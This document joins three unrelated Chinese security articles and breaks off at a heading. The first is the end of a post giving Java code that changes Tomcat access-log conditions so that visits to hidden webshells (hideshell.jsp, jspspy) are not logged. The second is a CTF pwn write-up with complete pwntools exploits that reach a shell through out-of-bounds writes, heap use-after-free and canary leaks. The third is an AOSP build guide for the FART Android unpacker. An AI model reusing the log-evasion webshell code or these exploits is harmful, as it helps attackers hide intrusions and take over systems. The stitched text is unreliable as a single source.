前面的三个条件也许不好满足，但是后面的
condition != null
&& null != request.getRequest().getAttribute(condition)
|| conditionIf != null
&& null == request.getRequest().getAttribute(conditionIf)
应该是很好满足的，我明显地记得以前看到过通过修改 Tomcat 配置文件添加 conditionIf 来让其不记录某些访问日志的相关资料。
到这里原理就很简单也很清晰了：运行时遍历所有 Container 组件的日志记录器，设置其 condition 或 conditionIf 属性，并在
request 中添加相应属性来逃避日志记录。
我在 hideshell.jsp 中实现了 nolog 方法，来逃避 Context 的日志记录。 如下：
public static void nolog(HttpServletRequest request) throws Exception {
ServletContext ctx = request.getSession().getServletContext();
ApplicationContext appCtx = (ApplicationContext)getFieldValue(ctx, "context");
StandardContext standardCtx = (StandardContext)getFieldValue(appCtx, "context");
StandardHost host = (StandardHost)standardCtx.getParent();
AccessLogAdapter accessLog = (AccessLogAdapter)host.getAccessLog();
AccessLog[] logs = (AccessLog[])getFieldValue(accessLog, "logs");
for(AccessLog log:logs) {
AccessLogValve logV = (AccessLogValve)log;
String condition = logV.getCondition() == null ? "n1nty_nolog" : logV.getCondition();
logV.setCondition(condition);
request.setAttribute(condition, "n1nty_nolog");
}
}
注意这里的 nolog 只是做为一个 PoC，它只保证 Context
组件不记录日志，我并没有去遍历所有的上层组件。如果碰到上层组件也有配置日志记录的话，依然会产生访问日志。 有需要的话大家自己动手改吧，很简单的。：）
以上说完了无痕的实现方法。如果将它完整地引入到 hideshell.jsp 中，就会遇到另一个问题。因为我将 nolog 手动添加到了
hideshell.jsp 中，所以访问它的时候才不会产生访问日志。但是当我们利用它来隐藏其它文件比如 jspspy.jsp 的时候，要想隐藏掉
jspspy.jsp 的访问日志，我们是否需要先手动将 nolog 添加到 jspspy.jsp 中？
当然是不需要的。隐藏 log 的原理就是在 request 中设置一个特殊的值， 日志记录器看到 request 中有这个值的存在就不会记录日志。利用
hideshell.jsp 隐藏 jspspy.jsp 后会得到一个 hidden-jspspy.jsp 后，在访问时，我们只需要有一种方法能够将
hidden-jspspy.jsp 的请求拦下来，帮它进行无痕所需要的处理，这样不就好了？
说到这里估计大家直接想到的是过滤器？确实过滤器可以实现，不过用在这里感觉太 low 了。我在更新的 hideshell.jsp 中用了一种类似 JAVA
AOP 或 Python decorator 机制的方式来实现了此功能。这里不细说了，有兴趣的可以自己看一下代码。
下面贴两张对比图。
图 1 为 Engine 组件的日志，里面完整记录到了 hideshell.jsp 以及被隐藏的 hidden-jspspy2010.jsp。
图 2 为 Context 组件的日志，没有记录到 hideshell.jsp 以及 hidden-jspspy2010.jsp 的访问日志。：）
更新后的 hideshell.jsp 我发在了 ThreatHunter
社区，<https://threathunter.org/topic/595775a427db6c475cb95225> 。
* * *
**欢迎关注作者公众号**
* * * | 社区文章 |
# 虎符2021线下pwn题解
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## PWN1——JDF
### 分析
首先看一下保护和版本
题目为`64位`程序，保护全开，Libc版本为 `2.23`
❯ checksec jdt
[*] '/home/n1k0/work/ctf/pwn/race/2021HFCTF/pwn1/jdt'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
打开IDA看一下，这道题乍一看有点像传统的堆表单题，但仔细分析的话发现其实并没有涉及到堆
我们先来看下`菜单`
题目模拟的是一个卖书软件，功能包括 `创建` `编辑` `输出信息` `卖书`和 `退出`
{
puts("1.Create Books");
puts("2.Edit Books");
puts("3.Show Books");
puts("4.Sell Books");
puts("5.Exit");
return printf("Choice: ");
}
进入函数分析一下这些功能
**add**
这个函数的作用是创建结构体的实例，并存入数组`s`中
这里需要注意的是数组`s`位于栈上，且每个元素的小小为 `OWORD`，即 `16字节`
该结构体每个实例大小为`40字节`，变量排布如下：
{
8B price
8B flag
16B name
16B author
32B describtion
}
在本题目中，最多可以创建16个结构体实例
case 1LL:
for ( i = 0; i <= 15; ++i )
{
if ( !*((_QWORD *)&s[5 * i] + 1) )
{
idx = i;
break;
}
idx = -1LL;
}
if ( idx > 0x10 || *((_QWORD *)&s[5 * idx] + 1) == 1LL )
error();
printf("Price?");
*(_QWORD *)&s[5 * idx] = input();
printf("Author?");
read(0, &s[5 * idx + 2], 0x10uLL);
printf("Book's name?");
read(0, &s[5 * idx + 1], 0x10uLL);
printf("Description?");
read(0, &s[5 * idx + 3], 0x20uLL);
*((_QWORD *)&s[5 * idx] + 1) = 1LL;
break;
**edit**
此函数的功能是编辑结构体实例，但这里存在漏洞
我们在创建实例时只能创建16个，末位编号为 `0xf`
但在编辑时却能编辑编号为 `0x10`的实例，这就造成越界写
case 2LL:
printf("idx?");
idx = input();
if ( idx > 0x10 || !*((_QWORD *)&s[5 * idx] + 1) )
error();
printf("[1.Edit Price][2.Edit Author][3.Edit Book's Name][4.Edit Description]\nChoice: ");
v0 = input();
choice = v0;
if ( v0 == 2 )
{
printf("Author?");
read(0, &s[5 * idx + 2], 0x10uLL);
}
else if ( v0 > 2 )
{
if ( v0 == 3 )
{
printf("Book's Name?");
read(0, &s[5 * idx + 1], 0x10uLL);
}
else
{
if ( v0 != 4 )
goto LABEL_35;
printf("Description?");
read(0, &s[5 * idx + 3], 0x20uLL);
}
}
else
{
if ( v0 != 1 )
goto LABEL_35;
printf("Price?");
*(_QWORD *)&s[5 * idx] = input();
}
break;
**show**
和 `edit`一样，`show`功能也存在越界问题，可以输出`rbp`前后的数据
case 3LL:
printf("idx?");
idx = input();
if ( idx > 0x10 || !*((_QWORD *)&s[5 * idx] + 1) )
error();
printf(
"[%llu]\nPrice: %llu\nAuthor: %s\nBook's Name: %s\nDescription: %s\n",
idx,
*(_QWORD *)&s[5 * idx],
(const char *)&s[5 * idx + 2],
(const char *)&s[5 * idx + 1],
(const char *)&s[5 * idx + 3]);
break;
### 思路
找到漏洞点后，我们就可以开始构思如何 `Get shell`了
目前的漏洞是越界读和越界写，可以更改 `rbp`附近包含 `返回值`在内的数据，但由于程序开启了 `PIE`保护，因此我们首先要泄露
`code_base`和 `libc_base`
通过观察 `实例16`中的数据可以发现，在 `price变量`的位置遗留有包含 `code_base`的地址，可以通过 `show(16)`泄露
`code_base`
有了 `code_base`之后，我们就可以利用题目中的 `gadget`修改返回值来泄露libc地址
最后在获得 `libc_base`后即可通过 `one_gadgets`来 `Get Shell`
**思路总结**
* 通过 `show`越界读获得 `code_base`
* 通过 `edit`越界写使用题目中的 `pop rdi; ret`和 `puts`函数修改返回值，获得 `libc_base`
* 使用 `one_gadgets`修改返回值， `Get shell`
详见EXP
### EXP
#!/usr/bin/python
#coding=utf-8
#__author__:N1K0_
from pwn import *
import inspect
from sys import argv
def leak(var):
callers_local_vars = inspect.currentframe().f_back.f_locals.items()
temp = [var_name for var_name, var_val in callers_local_vars if var_val is var][0]
p.info(temp + ': {:#x}'.format(var))
s = lambda data :p.send(data)
sa = lambda delim,data :p.sendafter(delim, data)
sl = lambda data :p.sendline(data)
sla = lambda delim,data :p.sendlineafter(delim, data)
r = lambda numb=4096 :p.recv(numb)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
uu32 = lambda data :u32(data.ljust(4, b'\0'))
uu64 = lambda data :u64(data.ljust(8, b'\0'))
plt = lambda data :elf.plt[data]
got = lambda data :elf.got[data]
sym = lambda data :libc.sym[data]
inf = lambda data :success(data)
itr = lambda :p.interactive()
local_libc = '/lib/x86_64-linux-gnu/libc.so.6'
local_libc_32 = '/lib/i386-linux-gnu/libc.so.6'
remote_libc = ''
binary = './jdt'
context.binary = binary
elf = ELF(binary,checksec=False)
p = process(binary)
if len(argv) > 1:
if argv[1]=='r':
p = remote('',)
libc = elf.libc
# libc = ELF(remote_libc)
def dbg(cmd=''):
os.system('tmux set mouse on')
context.terminal = ['tmux','splitw','-h']
gdb.attach(p,cmd)
pause()
# start
"""
puts("1.Create Books");
puts("2.Edit Books");
puts("3.Show Books");
puts("4.Sell Books");
puts("5.Exit");
struct
{
8 price
8 flag
16 name
16 author
32 describtion
}
s : $rbp-0x510
"""
# context.log_level = 'DEBUG'
def add(price,author,name,des):
sa('Choice: ','1')
sa('Price?',str(price))
sa('Author?',author)
sa('s name?',name)
sa('Description?',des)
def edit(idx,choice,data):
sa('Choice: ','2')
sa('idx?',str(idx))
sla('[4.Edit Description]\nChoice: ',str(choice))
sa('?',str(data))
def free(idx):
sa('Choice: ','4')
sa('idx?',str(idx))
def show(idx):
sa('Choice: ','3')
sa('idx?',str(idx))
def exit():
sa('Choice: ','5')
comm = 'b *$rebase(0x1090)\n' # show
comm+= 'b *$rebase(0x1129)\n' # exit
comm+= 'b *$rebase(0x11e3)\n' # pop_rdi
comm+= 'b *0x7ffff7a523a0\n' # system
show(16)
ru('Price: ')
code = int(ru('\n'),10) - 0x8c0
leak(code)
p_rdi_r = code + 0x11e3
edit(16,3,'a'*8+p64(p_rdi_r))
edit(16,2,p64(code+got('puts'))+p64(code+0xa88)) # puts(puts_got)
edit(16,4,p64(code+0x115f)*2) # main
exit()
puts = uu64(ru('\x7f',False)[-6:])
base = puts - 0x6f6a0
leak(base)
leak(puts)
one = [0x45226,0x4527a,0xf0364,0xf1207]
edit(16,3,'a'*8+p64(base+one[0]))
# dbg(comm)
exit()
# end
itr()
## PWN2——message
### 程序分析
题目的核心部分如下：
void __fastcall main(__int64 a1, char **a2, char **a3)
{
__int64 v3; // rax
_QWORD *v4; // rbx
__int64 v5; // rax
_QWORD *v6; // rbx
__int64 v7; // rax
__int64 v8; // rax
__int64 v9; // rax
__int64 v10; // rax
__int64 v11; // rax
char *time; // r13
__int64 pho_num; // rbx
__int64 msg; // r12
__int64 v15; // rax
__int64 v16; // rax
__int64 v17; // rax
__int64 v18; // rax
__int64 v19; // rax
__int64 v20; // rax
__int64 v21; // rax
__int64 v22; // rax
__int64 v23; // rax
__int64 v24; // rax
__int64 v25; // rax
__int64 v26; // rax
__int64 v27; // rax
signed int v28; // [rsp+4h] [rbp-3Ch]
unsigned __int64 idx; // [rsp+8h] [rbp-38h]
unsigned __int64 size; // [rsp+18h] [rbp-28h]
__int64 savedregs; // [rsp+40h] [rbp+0h]
idx = 0LL;
init_(a1, a2, a3);
welcome();
while ( 1 )
{
menu();
input_int();
switch ( (unsigned __int64)&savedregs )
{
case 1uLL:
v28 = 0;
break;
case 2uLL: // edit message
std::operator<<<std::char_traits<char>>(&std::cout, "Please tell me idx:");
idx = input_int();
if ( idx <= 4 && message_list[idx] )
{
std::operator<<<std::char_traits<char>>(&std::cout, "New Message: ");
std::istream::getline(
(std::istream *)&std::cin,
*((char **)message_list[idx] + 2),
*(_QWORD *)message_list[idx]);
}
else
{
v7 = std::operator<<<std::char_traits<char>>(&std::cout, "Wrong idx");
std::ostream::operator<<(v7, &std::endl<char,std::char_traits<char>>);
}
continue;
case 3uLL: // edit time
std::operator<<<std::char_traits<char>>(&std::cout, "Please tell me idx:");
idx = input_int();
if ( idx <= 4 && message_list[idx] )
{
std::operator<<<std::char_traits<char>>(&std::cout, "New Time: ");
std::istream::getline((std::istream *)&std::cin, (char *)message_list[idx] + 8, 8LL);
}
else
{
v8 = std::operator<<<std::char_traits<char>>(&std::cout, "Wrong idx");
std::ostream::operator<<(v8, &std::endl<char,std::char_traits<char>>);
}
continue;
case 4uLL: // edit phone number
std::operator<<<std::char_traits<char>>(&std::cout, "Please tell me idx:");
idx = input_int();
if ( idx <= 4 && message_list[idx] )
{
std::operator<<<std::char_traits<char>>(&std::cout, "New Phone Number: ");
std::istream::getline((std::istream *)&std::cin, *((char **)message_list[idx] + 3), 16LL);
}
else
{
v9 = std::operator<<<std::char_traits<char>>(&std::cout, "Wrong idx");
std::ostream::operator<<(v9, &std::endl<char,std::char_traits<char>>);
}
continue;
case 5uLL:
std::operator<<<std::char_traits<char>>(&std::cout, "Please tell me idx:");
idx = input_int();
if ( idx <= 4 && message_list[idx] )
{
free(*((void **)message_list[idx] + 2));
free(*((void **)message_list[idx] + 3));
free(message_list[idx]);
message_list[idx] = 0LL;
}
else
{
v10 = std::operator<<<std::char_traits<char>>(&std::cout, "Wrong idx");
std::ostream::operator<<(v10, &std::endl<char,std::char_traits<char>>);
}
continue;
case 6uLL:
std::operator<<<std::char_traits<char>>(&std::cout, "Please tell me idx:");
idx = input_int();
if ( idx <= 4 )
{
time = (char *)message_list[idx] + 8;
pho_num = *((_QWORD *)message_list[idx] + 3);
msg = *((_QWORD *)message_list[idx] + 2);
v15 = std::operator<<<std::char_traits<char>>(&std::cout, "[");
v16 = std::ostream::operator<<(v15, idx);
v17 = std::operator<<<std::char_traits<char>>(v16, "]");
v18 = std::ostream::operator<<(v17, &std::endl<char,std::char_traits<char>>);
v19 = std::operator<<<std::char_traits<char>>(v18, "Message: ");
v20 = std::operator<<<std::char_traits<char>>(v19, msg);
v21 = std::ostream::operator<<(v20, &std::endl<char,std::char_traits<char>>);
v22 = std::operator<<<std::char_traits<char>>(v21, "Phone Number: ");
v23 = std::operator<<<std::char_traits<char>>(v22, pho_num);
v24 = std::ostream::operator<<(v23, &std::endl<char,std::char_traits<char>>);
v25 = std::operator<<<std::char_traits<char>>(v24, "Time: ");
v11 = std::operator<<<std::char_traits<char>>(v25, time);
}
else
{
v11 = std::operator<<<std::char_traits<char>>(&std::cout, "Wrong idx");
}
std::ostream::operator<<(v11, &std::endl<char,std::char_traits<char>>);
continue;
case 7uLL:
v26 = std::operator<<<std::char_traits<char>>(&std::cout, "Shutdown!");
std::ostream::operator<<(v26, &std::endl<char,std::char_traits<char>>);
exit(0);
return;
default:
v27 = std::operator<<<std::char_traits<char>>(&std::cout, "Wrong Command!");
std::ostream::operator<<(v27, &std::endl<char,std::char_traits<char>>);
continue;
}
while ( 1 )
{
if ( v28 > 4 )
goto LABEL_8;
if ( !message_list[v28] )
break;
idx = -1LL;
++v28;
}
idx = v28;
LABEL_8:
if ( idx == -1LL )
{
v3 = std::operator<<<std::char_traits<char>>(&std::cout, "Full!");
std::ostream::operator<<(v3, &std::endl<char,std::char_traits<char>>);
}
else
{
message_list[idx] = malloc(0x20uLL);
printf("addr: 0x%x\n", (unsigned __int64)message_list[idx] & 0xFFF);
std::operator<<<std::char_traits<char>>(&std::cout, "Please tell me time: ");
std::istream::getline((std::istream *)&std::cin, (char *)message_list[idx] + 8, 8LL);
std::operator<<<std::char_traits<char>>(&std::cout, "Please tell me phone number: ");
v4 = message_list[idx];
v4[3] = malloc(0x18uLL);
std::istream::getline((std::istream *)&std::cin, *((char **)message_list[idx] + 3), 16LL);
std::operator<<<std::char_traits<char>>(&std::cout, "Please tell me message's size: ");
size = input_int();
if ( size > 0x3F && size <= 0x78 )
{
v6 = message_list[idx];
v6[2] = calloc(1uLL, size);
*(_QWORD *)message_list[idx] = size;
printf("addr: 0x%x\n", *((_QWORD *)message_list[idx] + 2) & 0xFFFLL);
std::operator<<<std::char_traits<char>>(&std::cout, "Please tell me message: ");
std::istream::getline((std::istream *)&std::cin, *((char **)message_list[idx] + 2), size);
}
else
{
v5 = std::operator<<<std::char_traits<char>>(&std::cout, "You can't use this size!");
std::ostream::operator<<(v5, &std::endl<char,std::char_traits<char>>);
}
}
}
}
题目定义了一个Message结构体，结构如下：
struct message
{
size_t size;
char time[8];
char *message_addr;
char *phone_number_addr;
};
功能主要分为三大类：
* 添加Message
* malloc一个message的结构体并存入list列表
* 0x3f < size <= 0x78
* time读入8个字节的内容
* message_addr存储calloc的chunk的指针，该chunk用于存储message的内容，大小为size
* phone_number_addr存储malloc的chunk的指针，该chunk用于存储phone_number的内容，大小为0x18
* 只能同时存在4个message
* 题目会print出message的chunk和message_addr的chunk的地址后三个字节
* 修改Message
* 修改time
* 修改message
* 修改phone_number
* 删除Message
* free掉message_addr、phone_number_addr和message的指针，并将message的指针置0
* 打印Message
### 利用思路
题目的漏洞点在于free的时候并没有将message_addr的指针清零，如果我们在free了一个message之后再add，并且传入的size不在0x3f到0x78间，则可以对free后的message_addr的chunk进行操作，也就是UAF
那么我们可以通过UAF来构造堆块重叠，修改堆块的大小并free来获得一个unsorted
bin并泄漏libc，最后修改message中存储的指针地址来进行任意写或使用fastbin
attack修改malloc_hook为one_gadget来getshell
### EXP
from pwn import *
context.log_level = "debug"
context.terminal = ['tmux', 'splitw', '-h']
def cmd(idx):
r.sendlineafter("Your Choice:",str(idx))
def add(time,phone_number,size,msg):
cmd(1)
r.recvuntil("addr: 0x")
addr = int(r.recvuntil("\n"),16)
r.sendlineafter("Please tell me time:",time)
r.sendlineafter("Please tell me phone number:",phone_number)
r.sendlineafter("Please tell me message's size:",str(size))
msg_addr = -1
if size > 0x3F and size <= 0x78:
r.recvuntil("addr: 0x")
msg_addr = int(r.recvuntil("\n"),16)
r.sendlineafter("Please tell me message:",msg)
return addr,msg_addr
def edit_msg(idx,msg):
cmd(2)
r.sendlineafter("Please tell me idx:",str(idx))
r.sendlineafter("New Message:",msg)
def edit_time(idx,time):
cmd(3)
r.sendlineafter("Please tell me idx:",str(idx))
r.sendlineafter("New Time:",time)
def edit_phone_number(idx,phone_number):
cmd(4)
r.sendlineafter("Please tell me idx:",str(idx))
r.sendlineafter("New Phone Number:",phone_number)
def free(idx):
cmd(5)
r.sendlineafter("Please tell me idx:",str(idx))
def show(idx):
cmd(6)
r.sendlineafter("Please tell me idx:",str(idx))
def debug(cmd = ""):
gdb.attach(r,cmd)
r = process("./Message")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
elf = ELF("./Message")
addr,msg_addr = add("0","0",0x60,"0") # 0
addr,msg_addr = add("1","1",0x60,"1") # 1
addr,msg_addr = add("\x71","\x71",0x60,"a" * 0x30) # 2
addr,msg_addr = add("3","3",0x60,"\x71" * 9) # 3
free(1)
free(0)
add("0","0",0x10,"0") # 0
show(0)
r.recvuntil("Message: ")
heap_base = u64(r.recvuntil("\n",drop = True).ljust(8,"\x00")) - 0x11d20
success("heap_base : " + hex(heap_base))
payload = "\x71"*0x8 + p64(0x71) + p64(heap_base + 0x11c70)
edit_msg(2,payload)
target_heap = heap_base + 0x11df0
edit_msg(0,p64(target_heap))
addr,msg_addr = add("1","1",0x60,"1") # 1
addr,msg_addr = add("4","4",0x60,"4") # 4
edit_msg(2,"\xb1"*0x9)
free(4)
add("4","4",0x10,"4") # 4
show(4)
r.recvuntil("Message: ")
libc_base = u64(r.recvuntil("\n",drop = True).ljust(8,"\x00")) - 0x3c4b78
success("libc_base : " + hex(libc_base))
malloc_hook = libc_base + libc.sym["__malloc_hook"]
one_gadget = libc_base + 0x4527a
payload = "\x71"*0x8 + p64(0x71) + p64(malloc_hook-0x23)
edit_msg(0,payload)
free(1)
add("1","1",0x50,"1") # 1
free(1)
add("1","1",0x60,"1") # 1
free(2)
free(1)
edit_msg(0,p64(malloc_hook-0x23))
add("1","1",0x60,"1") # 1
add("2","2",0x60,'1'*0xb+p64(one_gadget)*2) # 2
free(1)
cmd(1)
#debug()
r.interactive()
## PWN3——tls
### 程序分析
这是一到栈溢出的题。在`start_routine`中在循环结束后会做如下的操作`read(0, &buf,
0x100uLL);`，会造成栈溢出。由于程序开启了canary的保护，所以要泄漏canary。
程序会在栈上维护一个`__int64 v20[48]; // [rsp+40h] [rbp-1C0h]`的数组，同时会有一个数组的长度`unsigned
__int64 n; // [rsp+20h] [rbp-1E0h]`，还有和`__int64 sum; // [rsp+38h]
[rbp-1C8h]`。程序的表单总共有四个功能：
1. 指定一个数组的位置`pos`
2. 改变`v[pos]`中的内容， **有且仅有3次机会**
3. 将数组中所有的内容（前`n`个）加到`sum`上
4. 退出循环
### 利用思路
由于未对设置的pos做任何检查所以可以实现在栈上的任意写。由于数组的长度`n`在栈上，利用任意写可以任意改变n的值。利用求和操作我们可以变相的泄漏栈上的地址。要完成getshell就要拿到canary和libc的地址，在调试程序的过程我们发现在`canary-8`的位置有一个地址和libc的偏移是固定的。
1. 将n设置为`0x1b8//8`，然后求和输出`sum`为`t`，利用`t`和libc的固定偏移算出libc。
2. 将`v[0x1b8//8-1]`位置(`canary-8`)设置为0
3. 将n设置为`0x1c0//8`，求和sum，利用`canary=sum-t`（`sum`是不清空的）
利用最后buf溢出的漏洞改写ret为gadget获得shell。
### EXP
from pwn import *
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']
local = 1
if local == 1:
p = process("./tls")
gads = [0xf1207]
lb = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
else:
p=remote("",00)
gads = [0xf1147]
lb = ELF("libc.so.6")
def ch(idx):
p.sendlineafter("Your choice: ", '1')
p.sendlineafter("Please input pos: ", str(idx))
def edit(num):
p.sendlineafter("Your choice: ", '2')
p.sendlineafter("Please input new number: ", str(num))
def sm():
p.sendlineafter("Your choice: ", '3')
def ex():
p.sendlineafter("Your choice: ", '4')
p.sendlineafter("How many? ", str(0x30))
# pause()
for i in range(0x30):
p.sendline('0')
ch(-4)
edit(0x1b8//8)
sm()
p.recvuntil("result = ")
t = int(p.recvuntil('\n'))
libc = t + 0x51f900
print("libc:", hex(libc))
gdb.attach(p)
ch(0x1b8//8-1)
edit(0)
ch(-4)
edit(0x1c0//8)
# ch(0x1c0//8-1)
# edit(0)
sm()
p.recvuntil("result = ")
can = int(p.recvuntil('\n'))
if can < 0:
can = can+(1 << 64)
can-=t
print("can:", hex(can))
# pause()
gdb.attach(p)
ex();
gadget = libc+gads[0]
p.recvuntil("Oh!What is your name? ")
pay=0x38*b'a'+p64(can)+p64(gadget)*2
p.send(pay)
p.interactive() | 社区文章 |
# 2020年安卓源码编译指南及FART脱壳机谷歌全设备镜像发布
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 简介&&引言
作为寒冰大佬的好基友，经常有人来问我要`FART`脱壳机的镜像，今天，它来了！
我制作好了以上版本的全部`FART`脱壳机镜像，百度云盘地址和密码在我的`github`：<https://github.com/r0ysue/AndroidSecurityStudy>，大家可以帮我测测，更加新的设备我也会更新上去，如果刷机和脱壳有问题，欢迎联系我一起探讨和研究。
如果还有人不知道`FART`是啥，在这里稍微科普下，`FART`是`ART`环境下基于主动调用的自动化脱壳方案，`FART`的创新主要在两个方面：
* 之前所有的内存脱壳机都是基于`Dalvik`虚拟机做的，比如`F8LEFT`大佬的`FUPK3`，只能在安卓`4.4`之下使用，`FART`开创了`ART`虚拟机内存脱壳的“新纪元”，上至最新的安卓`10`甚至还在`preview`的安卓`11`都可以。
* 在`ART`虚拟机中彻底解决函数抽取型壳的问题；构造主动调用链，主动调用类中的每一个方法，并实现对应`CodeItem`的`dump`，最终实现完整`dex`的修复和重构。
详细的介绍和源码下载地址当然是在大佬的`github`：<https://github.com/hanbinglengyue/FART>
`FART`的脱壳是通过修改`ART`解释器的源码来实现的，所以我们要重新编译`ART`，这就涉及到`AOSP`的源码编译。很多人问我是如何编译`AOSP`源码的，其实我就是按照官网指南一路操作到底就实现了，但是大家还是不求甚解，甚至一直出错，所以在这里也把最新的`AOSP`源码编译方法介绍给大家，大家可以动手试一试，
**非常简单，不会出错** 。
最后还兼顾一下大家现在的电脑硬盘都非常小，这样一个现状。本文介绍的流程全部是在`SSD移动硬盘`上完成的，型号是海康威视的`T200N`，普通的`SATA3`，拷贝速度一般在三四百，当然这个速度已经足够了。如果是`NVMe`的`SSD移动硬盘`，那肯定就更快了。下图就是我的编译环境，挂着`SSD`移动硬盘编译的。
## 2020年的AOSP源码编译指南
话不多说，开始干活。
### 选择编译目标：安卓`10`
* `2020`年了，写个安卓`4.4`编译估计要被打；
* 其实方法都是一样的，毕竟我在这套组合上完成了所有版本的编译；
### 选择虚拟机编译
* 现在的虚拟机性能跟真机不相上下，`intel`是有专门给虚拟机优化的指令的；
* 编译的时候，还能吃着火锅唱着歌，平时该干嘛干嘛，就是性能有些损失
* 最重要的还是因为虚拟机自带“时光机”功能，可以“时光倒流”，比如秀一下寒冰大佬的日常`FART`开发过程：
* 做危险操作的时候，先拍个快照，如果遭遇了重大挫折，赶紧“回到过去”，岂不美哉。
* 其次虚拟机具有良好的跨平台特性，完美支持`Windows`、`macOS`和`Linux`三大主流桌面平台。可以随时将完整的学习和工作环境整体打包，在各种环境中进行部署和迁移。
* 虚拟机具有良好的隔离特性，做实验不会“污染”真机，是测试全新功能的天然“沙盘”，推荐读者使用`VMware`出品的系列虚拟机。
### 选择`Kali Linux`操作系统
* 为啥选择`Kali`，因为漂亮！
* 主要是因为默认就是`root`，这一点非常爽，没有令人讨厌的权限问题；
* 有专门的`VMware`版本，解压就是个虚拟机，省去了安装的过程，下载地址也放在`github`的`FART`目录里了，是个种子文件，可以用迅雷下载，下载完带`checksum`的；
* 自带各种抓包软件，自带`openjdk`，自带`radara2`；
* 跟`Ubuntu`一样的`apt`包管理系统，`Ubuntu`有的它都有。
下载完之后用`certutil -hashfile yourfilename.ext SHA256`命令查看下包是否损坏：
然后解压到`SSD移动硬盘`即可。在`VMware`里直接选择“文件”→“打开”，选择文件夹里的`vmx`文件，即可直接打开（导入）该虚拟机。
因为该虚拟机默认的八十几G的磁盘空间肯定是不够的，我们给他扩展到`450G`：
`CPU`给2核2线程没问题，内存要给的多，我一般给`12G`，也就是`12*1024=12288`。少于`12G`会报`out of memory`错误。
首次启动的时候会问是“移动”的还是“复制”的，貌似没啥区别，我一直按照默认选。默认账号是`root`，密码是`toor`，即可登录系统，`Ctrl +
Alt + t`是新建终端的快捷键，这是用的最多的快捷键。
### 选择清华源初始包
* 若干年前我也挂着科学上网工具从谷歌那里拖源码，整整三天三夜；
* 现在还是觉得[清华源](https://mirrors.tuna.tsinghua.edu.cn/help/AOSP/)真香，直接用迅雷下载这个地址[`https://mirrors.tuna.tsinghua.edu.cn/aosp-monthly/aosp-latest.tar`](https://mirrors.tuna.tsinghua.edu.cn/aosp-monthly/aosp-latest.tar)就行了，下载好了检查下`checksum`；
* 进入系统后启动`Gparted`软件，在`unallocated`部分右击，选择新建，按照默认即可，即可新建这个`370G`的`ext4`分区，点击选择`Apply`，应用到磁盘。然后将这个新建的磁盘给`mount`到某个文件夹：
# cd Desktop
# mkdir COMPILE
# mount /dev/sda3/ /root/COMPILE
* 记得到设置里面的`Display`设置里，把所有的息屏、休眠选项都关掉，否则接下来开始拷贝要几十分钟，老是息屏休眠的耽误事儿。`Power Manager`里把`Display`里的`Display power management`关掉，并且把`Plugged in`那里的`10 min`调成`0 never`
* 桌面上就出现了`COMPILE`文件夹，双击打开，把刚刚下载的`aosp-latest.tar`拖进这个文件夹内部，`VMware`是支持直接拖拽的
到这里已经完成了一半儿不止了。
拷贝完成之后记得把`VMware`拖动复制的缓存删掉，否则无法进行任何软件包的安装，系统空间被占满了。
# rm -rf /root/.cache/vmware/drag_and_drop/*
* 解压源码`tar`包，耗时大几分钟，根据你的`SSD移动硬盘`速度而定
# tar xvf aosp-latest.tar
* 删掉原来的`tar`包节约空间
# rm aosp-latest.tar
### 准备编译环境
* 准备环境
# apt update
# git config --global user.email "[email protected]"
# git config --global user.name "Your Name"
# apt install bison tree
# dpkg --add-architecture i386
# apt update
# apt install libc6:i386 libncurses5:i386 libstdc++6:i386
# apt install libxml2-utils
* 系统内置的`openjdk 11`太新了，会报错，装个官网要求的`openjdk-8`
# apt install openjdk-8-jdk
* 下载`aosp`源码版本管理工具，并设置可运行
# curl https://storage.googleapis.com/git-repo-downloads/repo > /usr/bin/repo
# chmod a+x /usr/bin/repo
* 装个看`CPU`、内存、缓存的`htop`
# apt install htop
* 装个看系统网络流量连接的`jnettop`
# wget http://ftp.us.debian.org/debian/pool/main/j/jnettop/jnettop_0.13.0-1+b3_amd64.deb
# dpkg -i jnettop_0.13.0-1+b3_amd64.deb
* 装个窗口分屏软件`tmux`
# apt install tmux
* 将源码同步到最新状态
# cd /root/Desktop/COMPILE/aosp/
# repo sync -j8
> -j8 是开启八个线程同时下载
> 这一步会持续非常久，大概要下载十几个G，具体取决于您的网速；
>
> 可以用`jnettop`看看网速，如果陷入假死状态，就`ctrl-c`终止进程，重新repo sync
环境都准备好了，关机打个快照吧，接下来编译不同版本的`AOSP`，都从这里开始。
### 开始动手编译
* 重新开机后还是先挂载磁盘：
# mount /dev/sda3 /root/Desktop/COMPILE/
* 然后进入该磁盘，进行代码检出和同步操作：
# cd /root/Desktop/COMPILE/aosp/
# mkdir WORKING_DIRECTORY
# cd WORKING_DIRECTORY
# repo init -u https://aosp.tuna.tsinghua.edu.cn/platform/manifest -b android-10.0.0_r2
# repo sync --current-branch
> `init`那一步有个`y`要键入下
>
> 查看安卓版本的网站是[AOSP – Codenames, Tags, and Build
> Numbers](https://source.android.com/setup/start/build-> numbers)，需要科学上网，并且页面语言调成英文噢
* 删除掉源码节约空间
# rm -rf /root/Desktop/COMPILE/aosp/.repo
* 开始编译：导入环境变量
# cd /root/Desktop/COMPILE/aosp/
# source build/envsetup.sh
* 选择设备：
# lunch
Buildtype | Use
---|---
user | Limited access; suited for production
userdebug | Like user but with root access and debug capability; preferred for
debugging
eng | Development configuration with additional debugging tools
最终刷机的手机是`pixel`，并且是用于调试的，要带`root`，所以选择`16`。
* 开始编译，有多少个核心就是j几。
# make -j8
编译开始后，`CPU`会迅速权限飙到百分百，系统开始进行各项准备。
当开始出现百分比读数的时候，基本上进入“体力活儿”阶段，不会再出错了，除非内存给的不够，会报`out of
memory`错误，给虚拟机加内存就行了，`12G`基本可以满足需求。
还有一个容易报错的阶段是编译接近完成时的链接阶段，主要还是因为各种环境和依赖没有满足，当然按照本教程来是不会出现那些问题的，毕竟我们都是同一个环境，所以会是同一个结果。
### 编译成功
下图为编译完成的画面。
编译完成的系统镜像位于当前目录的`out/target/product/sailfish/`下，各类`img`就是。
## FART自动脱壳机全设备镜像制作
